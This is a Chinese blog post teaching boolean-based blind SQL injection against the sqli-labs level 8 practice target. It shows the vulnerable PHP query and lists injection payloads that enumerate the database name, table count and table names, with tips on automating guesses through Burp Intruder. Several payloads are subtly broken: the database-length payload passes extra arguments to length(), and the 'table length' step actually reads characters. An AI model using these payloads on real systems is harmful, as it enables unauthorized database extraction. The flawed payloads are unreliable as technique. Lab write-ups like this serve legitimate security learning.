您当前的位置: 首页 > 

姜小孩.

暂无认证

  • 5浏览

    0关注

    51博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

布尔盲注!

姜小孩. 发布时间:2021-10-22 23:05:17 ,浏览量:5

原理

网页返回值为true或者false根据数据库的返回值来

使用场景

1.union注入无法使用,没有显示点

2.只能根据页面的返回值是true或者false来判断是非被带入查询

靶场实战:sql-labs第八关

加单引号报错,注释返回正常,那么我们再1=1返回正常1=2返回异常。说明存在注入点,我们首先会想到的是union注入,order by查到三个位置后union select 1,2,3%23

发现并没有显示的位置

第八关代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '';	
  	echo 'You are in...........';
  	echo "";
    	echo "";
  	}
	else 
	{
	
	echo '';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "";	
	echo '';	
	
	}

如果是true返回You are in...........;error返回空

那么我们就可以开始用布尔盲注测试

盲注步骤 第一步

先判断数据库长度

?id=1' and (ascii(length(database(),1,1))>n)%23
判断数据库名称
?id=1' and (ascii(substr(database(),1,1))>n)%23

ps:

1.取数据可以用二分法

2.去数据库名称第二位只需要更改substr函数截取的位置即可:

?id=1' and (ascii(length(database(),2,1))>n)%23

这里可以用burp的intruder模块遍历

先clear一下然后在n的位置add一下并改为零

然后start attack然后看length不一样的那个就是该位置的数据

获取表的数量

?id=1' and (select count(*) from information_schema.tables where table_schema='security')>n%23

获取表的长度

?id=1' and (ord(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>n%23

后面方法和前面差不多

关注
打赏
1652274937
查看更多评论
立即登录/注册

微信扫码登录

0.2129s